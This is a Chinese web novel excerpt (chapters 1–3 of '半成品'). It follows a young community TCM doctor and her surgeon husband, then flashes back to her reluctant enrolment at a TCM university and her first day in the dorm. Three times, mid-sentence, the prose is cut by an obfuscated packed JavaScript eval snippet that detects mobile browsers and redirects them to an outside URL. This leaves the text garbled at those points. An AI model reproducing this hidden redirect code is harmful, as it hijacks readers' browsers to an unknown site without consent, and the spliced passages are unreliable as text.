《半成品》 1. 第一章 迈入十一月的容城,最高气温依旧越过30℃,冬天似乎遥遥无期。 但早晚温差早已拉大,甚至在冷空气的加持下,市民已经可以体验到四季分明的一天。 乱穿衣的季节,流感病毒大行其道,一大早,金湖社区医院三楼的中医全科门诊便迎来不少等待就诊的大人小孩。 扎着麻花辫的小姑娘牵着妈妈的手,站在诊区入口的宣传墙边,仰头指向医疗团队介绍下方一个头像,隔着口罩都可以听出她声音里的兴奋:“妈咪,是艾医生耶。” 墙上的证件照里年轻的女医生一头乌发盘成丸子头,明亮的杏眼笑得眼尾微弯,颊边两个深深的酒窝看上去柔润可亲,让人忍不住心生亲近。 下方写着名字:【艾青禾,住院医师,全科医师。】 头像旁边是个人简介:【毕业于容城中医药大学中医学专业,跟师中医儿科名家教授,擅长运用内调外治综合手段治疗中医儿科常见疾病与杂病。】 “是呀,一会儿你就能跟她见面了。”年轻的妈妈笑眯眯地摸摸女儿的脑袋。 告诉她:“每个周末我们回奶奶家吃饭,路过的那个中医药大学,就是艾医生的母校哦。” “哇!是门口有两个石狮子那个学校吗?” “是啊,那所学校今年要一百年了,比我们家任何一个人的岁数都大。” “那我以后也要上那个学校!” “你要学医啊?好啊,你用功读书,以后争取来跟艾医生做同事咯。” 她话音刚落,叫号的电子女声便响起来,仔细一听,便赶紧拉着女儿往诊室里走。 母女俩同从里面出来的患儿和家属擦肩而过,进入不算宽敞,但十分整洁的诊室。 “艾医生上午好。” 正在喝水的女医生笑吟吟地望过来,面颊上的酒窝比照片上的还要更甜美,“圆圆你怎么又来啦?” 小姑娘是艾青禾入职这两年来见得最多的小病人,没有之一。 不仅因为她是早产儿,一直有些体弱,还因为她有一对非常紧张她的父母,换季了,降温了,但凡有点风吹草动,不管有没有症状,立刻先来看看,图个安心。 “早上起来的时候有一点点鼻塞。”小姑娘大方应道,非常自如的在她面前坐下。 “有没有喉咙不舒服啊?”艾青禾拉上口罩,笑眯眯地问道,仔细打量她的脸。 面色红润的小朋友摇摇头,她接着问:“有没有流鼻涕?” 小朋友还是摇摇头,她便拍一下脉诊枕:“来,我给你把一下脉。” 她微微歪着头认真辨认脉象时,小姑娘也歪着头认真看着她。 她很喜欢艾医生,因为她是第一个跟妈妈说这付药里没什么特殊的,可以放点白糖调整味道,小朋友喝起来会舒服一点的医生。 以前喝的药都可苦了。 “没什么问题,给你们开一副药回去喝两天,圆圆是大小朋友了,一天喝二百毫升,一瓶牛奶左右的量,妈妈煮的时候看一下,可以加点冰糖或者蜜枣调味。” 艾青禾一边从系统里选药组方,一边同患儿家长交代要注意日常防护,如果鼻塞的症状加重或发展,一定要来一趟。 说完将签好字的处方递过去。 家长又问了两句别的,直到下一位病人在诊室门口探头探脑,这才道谢牵着孩子离开。 这是一个社区医生非常寻常的一天。 除了小朋友刚离开没一会儿又跑回来,塞给她一盒润喉糖。 以及午休时收到的来自好友杨梦津的消息:【这个月的校庆,班里要组织返校聚会,你和孟彦卿去不去?】 午后室外的温度进一步升高,省中医院研修楼的实验室里终于有些闷热。 有人忍不住吐槽:“这都十一月了,咱还天天三十度,这正常吗?” 有人慢悠悠地应:“正常啊,满三十减十五很快就要到了,减两次,开始下雨,就入冬了,淡定点。” “卧槽!真的假的?” “不信你问孟师兄。”说话的人抬手一指另一头。 正在低头看电脑的青年白大褂袖口随意地卷到小臂,露出骨节分明的手腕和小麦色的皮肤,侧脸带着温和的笑意,听见他们的对话便抬头看过来。 “差不多是这样。”他点点头证实师弟的说法,温声问道,“师妹是第一次在容城过冬,跟北方气候不一样,能不能习惯?” “目前为止感觉还行。”被问到的师妹是研一,从另一所位于北方的中医药大学跨校考来容中医,此前从未在南方生活过,“多谢师兄关心。” 孟彦卿笑笑,刚想说关照师弟妹是应该的,就听实验室的门铃响起,他将没来得及说出口的话咽回去,放下手里的鼠标,起身去开门的同时,顺便开了空调。 门外是另一位他带过实习的师弟,将一个红色的纸袋递过来,笑嘻嘻道:“师兄,你要的东西买到了,幸不辱命。” 孟彦卿松口气笑起来,温和的眉眼里笑意柔软,“多谢,改天请你吃饭。” 送走师弟,他转身回到桌边,将东西放好,低头转账时听到同门好奇地随口一问:“老孟你买了什么好东西?” “今年的毕业礼物。”闻言,他头也不抬地回答道。 同门一愣:“毕业礼物?你买那儿玩意儿干嘛?” 孟彦卿笑着解释:“这一届是个水晶葫芦摆件,里面嵌有两个校区的校门模型,我老婆喜欢,我找人问了说能买,就让师弟去大学城的时候顺便帮忙带回来。” 他无名指上的铂金婚戒闪着光,同门们都知道,每次上手术前他会摘下,下班离开手术室时,再郑重其事地戴上,从不觉麻烦。 刚和女友分手的师弟闻言有些羡慕:“师兄和嫂子感情这么好。” “嫂子跟我们是同行吗?”师妹好奇接茬。 “我们是本科同班同学。”孟彦卿笑着点点头。 “说到同学……”有人下一句话就换了新话题,“今年是学校百年校庆,办得那么隆重,应该会有很多同学回来吧?” 同学啊…… 孟彦卿的脑海里飞速闪过几张熟悉的脸孔,一会儿清晰一会儿模糊,让他有一瞬间的恍神。 下午三点刚过,他忙完手头的事,起身去洗手,“我先回去了,这里就交给你们,有问题给我电话。” 他今天下夜班,在此之前已经将近三十小时没有阖过眼了。 回到家,匆忙洗过澡,倒头便睡得不省人事。 西坠的太阳将白天的温度一同带走,艾青禾踏着暮色走进家门,屋子里静悄悄的,似乎和她早上出门前没什么两样。 但她换鞋时特地往鞋柜下方看了一眼,看见一双熟悉的皮鞋,忍不住松口气。 看来某人有能按时下夜班回来休息哦。 她轻轻推开卧室门往里看了一眼,看见丈夫正抱着她的长条胡萝卜抱枕蜷缩灰蓝色的被褥里睡得正酣,满意地笑笑,又蹑手蹑脚地关上门离开。 孟彦卿是被从门缝里钻进来的米香熏醒的。 东北大米被高温逼出的香味浓郁得有些霸道,直接勾动肠胃,让他再也没法继续睡下去,干脆松开怀里的抱枕从床上坐起来。 卧室里一片漆黑,他拧开台灯,看见床头柜上的相框里和艾青禾的婚纱照,背景是老校区的校道,树梢葱郁的颜色和他们初识那一年时一模一样。 “啪。” 灶台上的汤好了,艾青禾刚关火,就听见身后传来拖沓的脚步声,接着腰被人从身后搂住。 “煮的什么汤?”男人带着初醒鼻音的声音从耳后懒洋洋地传来,附赠一个亲吻。 “西洋菜陈肾汤。”艾青禾应道,忍不住揶揄他,“我还以为你会一直睡到明天早上。” “饭菜太香了。”孟彦卿松开她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004257|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗手,“今年的毕业礼物拿回来了,看到了么?” 艾青禾嗯嗯点头:“看到了,挺好看的,我摆在书桌上了。” 顿了一下,又忍不住吐槽:“为什么我们那一届就是一对木头镇纸?五六斤重,扔又舍不得扔,放在那儿又没用!” 这话她真是每年毕业季都要说一次,孟彦卿忍俊不禁:“比我硕士毕业的那个U盘还是好点的?” “你那个起码实用!”艾青禾撇撇嘴,端着汤锅就出去了。 吃过晚饭,孟彦卿收拾干净厨房卫生,换了身运动服,提着垃圾袋出门,去扔垃圾顺便夜跑。 艾青禾在家里跟着视频练操。 等孟彦卿回来,她已经洗漱完毕,盘着腿坐在沙发敷面膜,投屏正在放视频。 听见动静,转头看他一眼,瓮声瓮气道:“严自恒这一期是上个月播的那部医疗剧的reaction,还挺有意思。” 他点点头,坐下和她一起看,还咬耳朵:“这小子是不是比以前胖了?” “他听到要气死,人家这是健身,壮了好不好。” 孟彦卿笑了声,抬手揉揉她脑袋。 等视频播完,艾青禾这才催:“快点去洗澡。” 这是他们无数共处的朝夕中某一个平淡的日常。 “今年是百年校庆,杨梦津中午发信息问我们回不回校。”睡前艾青禾才想起这事,撑开眼皮告诉孟彦卿。 孟彦卿把被子给她掖好,声音慢吞吞的:“是你回不回去,我一直在学校。” “讨厌!你是不是不抠我字眼就睡不着?”艾青禾踢他一脚。 孟彦卿失笑,忍不住叹口气:“时间过得真快,一转眼我们认识都十年了。” 从十八岁到二十八岁,聚首五年,各奔东西五年。 今年还是他们本科班毕业五周年。 “也不知道大家都过得怎么样。”他躺下,借着台灯昏黄的光线看向天花板。 影影倬倬的灯影里,他好像看到了许多从前。 “不知道。”艾青禾顺着他的话接了一句,接着就是沉默。 她的呼吸声听起来很均匀,像是已经睡着。 孟彦卿刚将她拢入怀里,就听她忽然呢喃了一句没头没尾的:“像梦一样,我十八岁的时候也不知道现在是怎么样……” 十八岁那年七月的某一天,邮递员站在桂城第三人民医院的家属院楼下大声喊:“艾青禾同学,你的录取通知书到啦!” 楼上楼下的窗户立刻打开,好奇的邻居扯着嗓子问:“哪个学校的啊?” “容城的,名牌大学。”邮递员笑眯眯地回答。 艾青禾被母亲范月娥拽着从楼道跑出去,喜气洋洋地接过特快专递的纸袋:“我看看,是不是第一志愿的?” 纸袋刚打开,就已经有邻居围过来,七嘴八舌地问这问那,“什么学校啊?” “什么专业啊?” “省城那么远,范姐你们要送青禾去学校吗?” 范月娥笑呵呵地看一眼袋子上的信息:“容城中医药大学。” 接着打开袋子,将里面的通知书拿出来:“艾青禾同学,恭喜你被录取为我校……录取学院,第二医学院,录取专业,中医学……” “学医啊,不错啊。”邻居阿姨伸手搭住扎着丸子头的小姑娘的肩膀,夸奖道,“当医生好啊,白衣天使,好好学本事,以后我们看病就找你哈。” 艾青禾顿时干笑,脸上没什么喜色。 这时有人同范月娥笑道:“范姐这下终于可以放心了,你们家青禾去读医,你如愿以偿啦!” 范月娥笑得见牙不见眼,嘴上谦虚:“哎呀,其实一般啦,最好是读临床,就是西医,可惜她文科报不了。” “管它西医中医,出来不都是医生……” 一群人说笑着往楼里走,艾青禾跟在大人们身后,撇撇嘴。 2. 第二章 母女俩拿着录取通知书回家,范月娥高兴得直哼歌。 艾青禾的父亲艾闻喜早就在家等不及了,在客厅里转来转去,听见门口的动静,便立刻拖着伤脚跑过来。 “快,给我看看,怎么样,哪个学校哪个专业啊,什么时候报到?” 范月娥把通知书袋子递过去,笑着骂道:“你腿都瘸成这样了,还不老实,跑来跑去真想变瘸子是吧?” 他是装修队的工长,手底下二十几号人,经常同时装几套房子,他每天都要挨个工地去一遍,看看进度,跟业主沟通一下情况。 大概是流年不利,那天在工地检查刚铺好的客厅瓷砖的平整度,检查完起身的时候,肩膀不慎撞到了斜靠在墙边的一叠石膏板。 最顶上那块失去平衡往下掉,板角不偏不倚,正好砸中他穿着劳保鞋的右脚脚背,五六十斤的重量就这么砸下来,痛得他当场失声。 回过神才发现,这叠板子是他昨天叮嘱学徒要固定在墙上的,但学徒忘了,只是草草靠墙放着。 好死不死,这学徒是本家的侄子,除了骂一顿,也不能把他怎么样。 但去医院一看,轻微骨裂,医生交代要在家静养一段时间,要高抬患肢,尽量避免负重,所以他只能在家待着,没事就在沙发躺着把腿架起来。 正好艾青禾高考结束,范月娥掏了八百块钱给她,让她承包这段时间扫地洗碗晾衣服之类的家务活。 说是:“这比去打暑期工强,想给别人打工你以后有的是机会。” 这会儿艾闻喜拿着女儿的录取通知书,单脚蹦着回到沙发上,先将蓝色的袋子翻来覆去看上好几遍。 “这就是高考特快专递啊,里面都有什么?” “录取通知书,新生指引,电话卡,银/行/卡,就这些呗。”范月娥应道,又拿上钥匙出门,“我去买点菜,咱们今天加菜,老艾你给我姐他们打个电话,商量一下升学宴的事。” 艾闻喜低着头应是,爱不释手地看着手里的袋子,笑得眼角的皱纹都堆了起来。 嘴里还嘀咕着:“原来是这样的……” 他将里面的通知书取出来,小心翼翼地捧在手里,来来回回地看那几行字。 艾青禾站在一旁,忽然觉得心里十分烦躁。 怎么就真的上了呢?不对啊,她明明记得分数应该还差一点的,难道今年又扩招啦? 有没有搞错! 她根本不想学什么医,不管中医还是西医,会将中医大列为第一志愿,完全是因为妈妈的强势要求。 ——当时范月娥拿着鸡毛掸子站在她旁边看着她填志愿,扬言如果她如果不把第一志愿填成中医大,就打断她的腿,胆小鬼不敢反抗,很从心地照办。 “你自己都说了,很可能上不了,后面不是让你填你想读的学前教育了吗,要是没上医学院,你就去学前教育。” “读医有什么不好?你现在觉得不喜欢,可是这世上能有几个人是随心所欲的?我们主任的儿子也学医,多好安排工作,在大城市找不到合适的单位,回来就安排好了,你现在不要不要,以后你得感谢我!” 母亲的话言犹在耳,可艾青禾的内心却只想疯狂吐槽,而且工作什么的,在她看来还太远啦。 她根本想不到四五年、甚至更久以后,自己会在做什么,只知道如果自己学了一个不感兴趣的专业,以后一辈子都要做一份不感兴趣的工作…… 她的天都要塌了! 艾闻喜沉浸在喜悦里,没发现女儿的沉默,或许在他看来,这么值得高兴的事,她一时半会儿没反应过来也很正常。 他将看完的录取通知书又小心翼翼地装回袋子里,看向艾青禾的目光喜悦之中充满了激动和欣慰。 “我们家终于出了一个正经的大学生了,乖女,你是这个。” 说着冲她竖起一个大拇指,骄傲之情溢于言表。 “我和你妈都是中专生,没想到生了个大学生,嘿嘿。” 他读完初中就去读农校了,去学开挖掘机,结婚之后开始干装修,从学徒到小工,再到工长,从给师父端茶倒水,到能指挥几十号人,花了半辈子时光。 范月娥是去读卫校,毕业之后先被家里人想办法安排进防疫站,后来机缘巧合去了卫生站,再后来卫生站改来并去,成了现在的第三人民医院。 她也就成了第三人民医院的外科护士,现在已经是老护士,等过几年退休,职业生涯就结束了。 两口子都是普通人,忙忙碌碌一辈子,就为了能在这个十八线小城市里过上好一点的日子。 因此他们特别希望艾青禾能够过上轻松点的日子,当医生,坐办公室,不用像他们要么风里来雨里去爬高爬低,或者帮人擦身掏粪铺床换被,多轻松多体面。 所以艾闻喜对妻子逼着女儿学医是赞同的。 也很欣喜于现在得到的成果,夸完艾青禾就高高兴兴地去打电话报喜了。 先给艾青禾的姨妈舅舅们和外公外婆打电话,再给老家打,让老人家买鞭炮去烧,又让范月娥顺路买点东西回来拜神。 很忙碌,很热闹,比过年还喜气洋洋。 他们愈是这样,艾青禾就越坐立不安,心头沉甸甸的,完全没有终于尘埃落定的轻松和喜悦。 晚饭的菜特别丰盛,范月娥特地买了烧鹅,鹅腿跟往常一样是完整的,她一边将鹅腿放进女儿碗里,一边兴致勃勃地跟艾闻喜讨论升学宴的事。 从摆酒的时间和地点,到开多少围,请什么人,夫妻俩商量半天,才突然意识到,好像从拿到通知书开始,艾青禾就没怎么说过话。 艾闻喜忙问道:“小禾有没有什么想法?要不要请同学过来吃饭?去桂城大酒店办怎么样?” 那是市里最好的酒店了,他和范月娥准备在那儿开几桌,把这升学宴办得好好看看的。 艾青禾神色一僵,用筷子戳着碗里的米,支支吾吾地道:“我要是说……我想复读……” “你说什么,再说一次?”话没说完就被范月娥打断了,“你想死是不是?” 她脸上的笑顿时无影无踪,只剩下费解和愤怒:“你吃饱了撑的是吧?复读,你知道复读压力多大吗?你这个高考成绩已经是超常发挥,比任何一次模拟考都高一截,你敢保证复读还能考这个分数?” 艾青禾脖子一缩,讷讷的想争辩:“可是我不喜欢……” “喜欢,喜欢能当饭吃?”范月娥用力将筷子往桌上一拍,开始断腿警告,“我警告你,老老实实去上学,别想当什么幼师,在大城市你没关系能进好的园?回来桂城,幼师的工资比我还低,挣鸡碎那么点还受罪,疯了吧你?” 要是她是想去当初高中老师她都算了,居然是想去当幼师,啧。 艾青禾被她喷得直缩脖子。 范月娥强势,在家里说一不二,艾青禾从小就笼罩在她的权威之下,日常所有都被她安排得明明白白。 她一发飙,她就怂了。 范月娥骂完之后,又说了一句:“你是不是想气死我找山拜?” 艾青禾连忙摇头。 见她垂头丧气,一点喜色都没有,范月娥也忍不住叹气,缓下语气道:“你喜欢跟小朋友在一起的话,以后当儿科医生不就好了,大把小孩子有得见。” 是这样吗?艾青禾心里不置可否。 但表面上却是老实地点点头。 妈妈说得对,她去复读也不一定真的能如愿以偿,万一考砸了…… 她有些无奈地接受了这个事实,同时心里升起一阵迷茫。 当医生啊……她根本想不到自己当医生是什么样的,万一……万一她把人家治坏了怎么办? 艾闻喜这时也劝她:“你妈妈也是为你好,你是她生的,她还能害你吗?” 艾青禾抿抿唇,低着头不吭声。 见她老实下来,范月娥继续同丈夫商量后续安排,又聊起邻里八卦,这点小插曲很快就忘到脑后。 只有艾青禾一个人在对未来担忧和茫然,直到升学宴当天,听到舅舅和大姨家已经读大学的表哥表姐们传授的心得: “大学是你未来最轻松的几年啦,又没人管,也没什么作业,社团活动又多,手上还有生活费可以自己做主,超爽。” “演唱会,话剧,美食节,音乐节,等等等等,都很有意思,比中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004258|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的活动丰富太多。” “抓紧时间谈恋爱啊,大学没谈恋爱简直亏到爆。” “考试就是及格万岁,主要靠期末考老师划重点,到时候努力背就是了,平时有时间可以多出去玩玩,跟室友啊同学啊一起去玩。” “容城还是很多地方可以玩的,还有很多好吃的……” 听起来大学生活非常丰富多彩呢,而且以前老师也说过,上了大学就可以想做什么就做什么了。 艾青禾听着,心里终于升起了一丝期待。 暑假转瞬即逝,九月份到了,艾青禾该去学校报到了。 因为艾闻喜脚受伤一直没好透,不得不取消原来由他开车送她去学校的计划,加上范月娥工作也忙,最后大姨说:“青禾能不能自己坐车?能的话就让她自己过去,让明晖陪她去报到好了。” 表哥林明晖就读于容城科技大学,开学升大三,而且就在科大的小杨庄大学城校区。 最后就这么定了,教师节那天,艾青禾推着大大的行李箱,挥别送站的父母,独自踏上新的人生旅途。 说起来,这还是她第一次单独出门呢。 一路上她小心翼翼地抱着自己的书包,安安静静地看着窗外,坚决不跟任何人说话。 邻座的奶奶问她是不是去外地上学,她也只是腼腆地点点头,很小声地应是。 怕人家继续问下去,连忙低头看手机。 为了她出去上学,范月娥特地给她买了部新手机,是很时兴的智能机,比她中学时用的翻盖机好玩多了。 桂城离容城不算远,五六个小时车程就到,到站已经下午,远远见到来接她的表哥,艾青禾狠狠松口气。 林明晖租了辆车来接她,“走,先带你去宾馆,然后吃顿好的,明天再去报到。” 四处都是陌生的风景,车水马龙,高架交错,比起老家桂城,不知繁华多少倍。 林明晖推着她的行李箱,搭着她的肩膀走,边走边嘱咐:“以后回去,在火车站可要小心,扒手很多的。” 她紧紧张张地点头,眼睛忍不住四处看。 直到上了车,她还一直往窗外看。 那些掠过的高楼大厦直插云霄,让她想起港剧的片头。 原来大城市是这样的。 车子渐渐驶出市区,路过的风景变得有些熟悉,跟桂城的街市有点像了,三轮车的小摊贩,搭客的摩的,吵嚷喧闹。 等车子过了大学城的收费站,林明晖便向她介绍起大学城的基本情况,有什么学校,有几条商业街,哪儿有好吃的,哪儿有景点,艾青禾歪着头认真地听。 吃完饭还带她逛了一会儿街,碰到个报刊亭,他站在路边,拍拍艾青禾的肩膀:“去,自己去买一张容城通,再充五十块钱,以后出门坐公交坐地铁要用。” 艾青禾点点头,鼓起勇气,在完全陌生的城市,自己花出去第一笔钱。 晚上她睡得并不好,心里装着对自己能不能适应新生活的担忧,翻来覆去,直到凌晨两三点才迷迷糊糊睡着。 第二天一大早,林明晖带她去附近吃早茶,“来了容城,早茶是一定要吃的。” “这个在家也吃啊。”艾青禾不知道有什么区别。 “氛围,氛围你懂吧?”林明晖冲她挤眉弄眼,“好吧,是我妈给了接待经费,让我带你吃顿好的。” 艾青禾:“……” 吃完早餐,退房,俩人直奔学校。 车子靠近学校正门,保安听说是来报到的新生,指挥他们往生活区去,绕了一大圈才找到学校南门。 顺着路上的指示牌,俩人又走了好长一段路,才找到报到点,满眼都是白绿相间的建筑,艾青禾看得有些晕。 场地两边都是报到的地方,竖着各学院的牌子。 “你哪个学院啊?” “……好像是……三院?” “好像?”林明晖啧了声,“你通知书呢,拿来我看看。” 等艾青禾翻出通知书给他一看,“我靠!二院啊!三院你个头,你差点走错班了!” 艾青禾顿时讪讪:“……” 我这样真的能适应新学校吗? 3. 第三章 在林明晖“这么年轻眼神就不好了以后谁敢找你做手术”的吐槽里,兄妹俩找到了第二医学院的报到点。 核对过通知书和身份证,办入学手续的老师在花名册上找到了她的名字,“艾青禾同学,中五(1)班哦,宿舍在11栋的三楼307,签一下字,这是钥匙,记得去7栋一楼的学生服务中心领取宿舍用品,每个宿舍有一份,如果有同学领了就不用去了。” 接着递给她一张卡片:“这是大学城校园一卡通,是你在学校的身份卡,在学生服务中心充值,平时吃饭买东西都是用这张卡。” 说完递给她一个有校徽标记的红色袋子,“这是新生大礼包,祝师妹入学愉快。” 艾青禾连忙道谢,接过之后老师又看向林明晖,神情有些犹豫:“您是……艾同学的家长?” 兄妹俩就差两岁,年纪相仿,问他是不是家长,问的人都有点心虚。 林明晖眼睛一转,腰杆子立刻就挺起来了,“我是她哥哥,她爸妈没来,我可以代行家长职责,老师有什么事需要我们配合吗?” “……哦哦。”老师连忙点点头,说,“我们下午有新生家长会,学院领导会跟家长们面对面交流,会给大家介绍学校和学院的情况,还有对同学们接下来五年的培养计划,目的是增进彼此间的了解,欢迎参加。” 还有这种好事?! 林明晖立刻答应道:“好好好,我一定去,辛苦各位领导和老师,请问是几点?” “下午两点半,在教学区综合楼101教室,从人行天桥过去就是了。” 林明晖一口答应,还拍拍艾青禾的后背,笑眯眯地道谢,夸了两句学校领导考虑得真周到,“我一定把了解到的信息转告家里,这样家里人就不用担心她在学校会过得好不好了。” 态度官方得不得了,艾青禾直想翻白眼。 可恶!也是让你小子逮到机会充大头蒜了! 她用脚趾盖都能想到,等到过年回外婆家,这人指定会像老爷一样坐在沙发上,指挥她端茶倒水。 要是她反抗,他就会大言不惭地说:“我可是你家长,你的家长会我都去过!” 太贱了,贱得让人窒息:) 她心里骂骂咧咧,耳边传来另一位帮新生办理手续的老师的声音:“啊,找到了,孟同学也是(1)班的,来,这是你的一卡通……” 咦,同班同学? 艾青禾好奇地扭头往旁边看。 一个身量高挑的男生就在旁边,白色的T恤衫袖口下是小麦色的皮肤,小臂的肌肉隆起轻微的轮廓,手腕上的骨节分明凸起,被黑色的表带箍住。 他的神情很认真,正在看手里的卡片,接待新生的老师正跟他的家长讲着家长会的事。 那是一个又高又壮的青年,理着寸头,她忍不住捏捏林明晖的胳膊,有点嫌弃地撇撇嘴。 “你捏我干什么?走了,去找宿舍。”林明晖被她捏得有些纳闷。 旁边的男生这时看了过来。 他有一张很干净很温和的脸孔,眼睛是深棕色的,柔和的目光里带着淡淡的疑惑。 艾青禾却觉得有些窘迫,感觉被对方抓到了自己在看他。 “没、没什么……” 她刚要掩饰,穿着荧光绿志愿者马甲的师姐就热情地问:“师妹住哪栋楼啊?” 艾青禾连忙回神:“11栋,三楼……” 房号多少来着,她下意识扭头去看林明晖。 林明晖真是服了这人,忍不住叹气:“307,你这记性真的能读医吗?据我所知,学医要背很多东西的……” 艾青禾顿时讪讪:“……哎呀,我会努力的啦!” 你这么大声干什么! 她很不好意思,觉得自己肯定是因为吃太饱了脑子氧气不够才这样。 越想越心虚,视线忍不住往旁边瞟。 这一瞟,就撞上了那位同班同学的视线,他好奇的目光似乎是没来得及收回去,于是便跟她碰个正着。 艾青禾犹豫两秒,抬起手小幅度摆了一下,用气声打了声招呼:“Hi.” 少年很明显愣了一下,才回她一个笑。 笑容爬到他脸上的速度像是放慢了似的,慢慢聚拢,但看起来莫名有些专注,温和得让艾青禾觉得像是外婆家冬日午后柔和的日光。 她还发现,他的头发和他的眼睛是一样的颜色诶,都是深棕色的。 她甚至觉得对方优点眼熟,但她又万分确定自己并不认识对方。 “走了。”林明晖这时拧了一下她的头,催促道。 艾青禾哦了声,赶紧跟上。 报到点旁边就是篮球场,场地里十分热闹,摊位一个接一个,像是跳蚤市场。 带路的师姐说:“建议你买个台灯和小风扇,台灯的作用不用说,风扇是为了天热但还没能开空调的时候。” 师姐说他们学校的宿舍是有空调的,但由物业统一调控,要等气温连续几天超过30℃才能开。 “但天气你也知道,有时候二十几度也挺热的。” 艾青禾连连点头,林明晖接着问:“你们会换校区吗?” “会啊,我们学院大三大四是要搬去老校区的。”师姐笑眯眯地对艾青禾道,“去了老校区,条件就要艰苦一点了,所以师妹要好好享受在大学城的这两年。” 顿了顿,又说:“我们学校对素质教育学分有要求,参加讲座和社团可以加分哦。” 艾青禾一听这个就来劲了,连忙问:“我们学校都有什么社团啊?” 她想想表姐提过的:“话剧社,动漫社,音乐剧社,烘焙协会?” 师姐哈哈大笑:“除了话剧社,你说的另外几个我们都没有诶!” 艾青禾啊了一声,师姐见她似乎有些失望,连忙道:“但是我们有药膳社、汉服社、爱心社、青协义诊队和针康协会啊,我们可是中医学校!” 艾青禾又哦哦两声,觉得好像这些也有点意思。 “不过我建议你参加一两个就好了,不要让社团活动占据你太多课余时间。”师姐这时又开口,充满了过来人的意味,“我们专业课程还挺多的,除了专业课之外,还要见习,有的同学还要参加比赛,我们从大一下学期就可以开始去医院见习了,早点接触临床不是坏事。” 艾青禾连忙点头应好,问道:“我们课有多满啊?” 她听林明晖和舅舅家的表姐都说,有时候一整天都没课的,想干嘛就干嘛,可自由可爽了。 师姐扭头看她一眼,看见她脸上有些懵懂的表情,嘴角一抽:“我们可是医学专业……或许你听说过一句话吗?只要专业选得好,年年期末像高考。” 艾青禾:“???” 说话间她们已经到了11栋宿舍楼的楼下,这里是整个容中医生活区的西南角,旁边就是大马路。 师姐领着她和林明晖往楼道里走,笑哈哈道:“想开点啦,起码我们宿舍有电梯啊!” 话音刚落,林明晖就哇哦一声:“条件这么好,居然有电梯。” 他戳戳艾青禾后背,“你们学校宿舍有电梯还有空调,条件比我们学校好多了。” “……是吗?”艾青禾有些惊讶,“你们学校没有?” “都没有。”林明晖摇摇头,“这又不是标配。” 师姐很骄傲地点点头:“我们学校的宿舍是整个大学城最好的。” 才说了几句话,电梯就到了三楼,师姐将他们送到307门口,跟他们告别时笑眯眯道:“我叫白晓绪,破晓的晓,情绪的绪,住在五楼的507,师妹有什么需要帮忙的可以来找我,最后,欢迎加入我们青年志愿者协会哦!” 艾青禾连忙点头应好,觉得师姐真是个好人。 寝室门开着,屋里已经有家长在忙碌,有三张床都挂了蚊帐,只剩下进门左边那张还是空着的。 “我们最后一位同学来咯,是艾青禾同学吗?” 一道清脆的声音传来,艾青禾望过去,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004259|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠里的推拉门边一位短头发的女生正笑眯眯地看向她。 四个人里只有她一个人是单独一个人的。 “我是艾青禾,你好。”她连忙打招呼。 林明晖推着她进门,一边帮她检查桌椅抽屉和衣柜,一边听她跟其他同学互相自我介绍。 刚才率先跟她打招呼的女生道:“我叫闻婧,女青婧,是容城本地人。” 艾青禾忙说你好,然后望向正前方,也就是和她住同一排的另一位同学,那是个扎着高马尾的高挑女生,脸有些圆,面颊上有两颗小雀斑。 “我叫杨梦津,从资江来。”她的声音爽快,指指拿着抹布站在阳台门口笑得一脸憨厚的大叔,“那是我爸,有要帮忙的不?” “谢谢叔叔,不麻烦了。”艾青禾连忙应了一句,又转头看向对面。 一位面容温婉的美女坐在桌边笑眯眯地看着她们,一头乌黑亮丽的长发服帖地贴在背后,她的家长正站在两张床之间的步梯上整理枕头,也笑眯眯地看着她们。 “我叫杜清谷,清水的清,山谷的谷,我家是吴中的。”开口就是温柔得有点嗲的声音,听起来好听极了。 她和杨梦津一个来自江南,一个来自川蜀,闻婧问艾青禾:“青禾家里是哪儿的?” “桂城。” “哦哦,我去过,你们那边荔枝和芒果都很好吃。” 艾青禾抿住唇笑着点点头。 闻婧接着道:“我想起来了,我们班还有一个同学,跟你是老乡,都是桂城的。” “……啊?真的啊?”艾青禾很惊讶。 不仅惊讶于班里竟然有人跟自己是同乡,更惊讶于对方的消息之灵通。 今天不是才刚报到吗? “是啊,是个男生,叫孟彦卿。” 艾青禾眨眨眼,想起刚才在报到点见到的那位男生,跟她同班,也姓孟。 有没有这么巧啊? “你怎么知道的?”她有些好奇。 “班群里大家聊天的时候说的咯。” “班群?我们那么快就有班群了?大家已经见过面了吗?”艾青禾有些震惊,又有些疑惑。 “贴吧啊,我们学校的贴吧,有师兄师姐发帖,建了新生群,然后我们又互相认亲,建了班级群。” 